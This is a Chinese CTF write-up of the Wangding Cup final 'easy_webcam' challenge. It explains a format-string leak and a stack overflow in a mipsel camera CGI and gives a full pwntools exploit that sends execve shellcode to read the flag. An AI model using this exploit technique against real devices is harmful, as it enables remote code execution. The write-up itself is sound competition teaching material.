第四届 “网鼎杯” 网络安全大赛决赛 - easy_webcam
题解
文件属性
| 属性 |
值 |
| Arch |
mipsel |
| RELRO |
Full |
| Canary |
off |
| NX |
off |
| PIE |
off |
| strip |
yes |
解题思路
static编译还剥符号,有点恶心了,还原符号花了不少时间。boa没剥符号,大约是现成的,
没做改动。大致运行流程是boa webserver --转发-> manager.cgi这样。
manager.cgi首先从环境变量里拿到从boa传来的Content-Length,然后读取并解析json,
根据输入的命令和camera id判断:当camera_id != 2024时,可借助camera id打格式化字符串,
泄露信息;当camera_id == 2024 && strstr(operation, "reboot")时,可借助operation打栈溢出。
cgi是由qemu用户态启动的,内存布局不会变化,并且栈是可执行的,我们可以直接打栈上shellcode。
需要注意的是由于各种参数是通过环境变量传进来的,因此浏览器指纹不同,
从boa传到manager.cgi的环境也不同,栈布局也不同。在攻击的时候要使用同一个环境。
一开始我就是先浏览器泄露信息,再python打,就完全打不通。
接下来共攻击思路清晰了:首先控制camera_id打格式化字符串,使用%p泄露栈地址,
然后控制operation打栈溢出,写shellcode到栈上并跳转执行。
manager.cgi的输出要符合CGI标准才能借由boa传输到我们这里,因此在打开shell是不现实的,
因为没法绕过boa直接和shell交互;同时也不能只打印一个flag,因为还要加Content-Type才能传过来。
当时flag名字还不一样,需要先ls看文件。至于Type,大概不需要json,plaintext应该就可以输出flag了。
EXPLOIT
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55
| from pwn import * context.terminal = ['tmux','splitw','-h'] context.arch = 'mips' GOLD_TEXT = lambda x: f'\x1b[33m{x}\x1b[0m' EXE = 'easy_webcam/html/cgi-bin/manager'
def payload(lo: int): global sh if lo: ip = '127.0.0.1' ipfrom = ip else: ip = '173.41.102.19' ipfrom = '174.40.102.172'
sh = remote(ip, 80) if lo: stack = 0x2b2aadd1 + 0x1cf - 0x200 else: stack = 0x407ffe11 + 0x1cf - 0x200
shc = asm(shellcraft.execve('/bin/sh', ['sh', '-c', 'echo Content-Type: application/json\necho\nread FLAG < /flag-EA096FE3722C\necho {flag:$FLAG}']))
def mkRequest(shellcode: bytes) -> bytes: part1 = b'POST /cgi-bin/manager.cgi HTTP/1.1\r\n' \ b'Accept: */*\r\n' \ b'Accept-Encoding: gzip, deflate\r\n' \ b'Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6\r\n' \ b'Cache-Control: no-cache\r\n' \ b'Connection: keep-alive\r\n' \ b'DNT: 1\r\n' \ b'Origin: http://174.40.102.172\r\n' \ b'Pragma: no-cache\r\n' \ b'Referer: http://174.40.102.172/\r\n' \ b'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Edg/131.0.0.0\r\n' \ b'Host: ' + ip.encode() + b'\r\n' \ b'Content-Length: ' part2 = b'\r\n' \ b'Content-Type: application/json\r\n' \ b'\r\n' \ b'{"camera_id":"2024","operation":"' part3 = b'"}' length = len(shellcode) + len(b'{"camera_id":"2024","operation":""}') return part1 + str(length).encode() + part2 + shellcode + part3
sh.send(mkRequest(b'reboot'.ljust(0x44) + p32(stack) + shc))
sh.interactive() sh.close()
|
碎碎念
决赛的赛制又变了,混合 CTF + 守擂 AWD,CTF 得做出 6 题才能解锁 AWD。
我们这边全是小登,完全就是被薄纱,看着老登猛猛上分。好不容易凑够 6
题,结果这 AWD 规则很复杂,而且擂主要是修了就一点办法都没有了,直接被玩死了。
做不出来,根本做不出来。
最后排名我统计了一下,直接看呆了,之前谁还说上一届排名靠前的全是学生吗,
这次学生最高才到 24 名,完全不像人类。听说老登有额外 py 路径,
也有可能是之前最强的学生组来打了...
主色调为组别,颜色越浅,半决赛在组内排名越高

✨网鼎杯决赛照片集
大雾吞没了高楼
和哈工大✌️一起吃晚餐
决赛 UI
CTF 与擂台赛
另一种妙妙赛制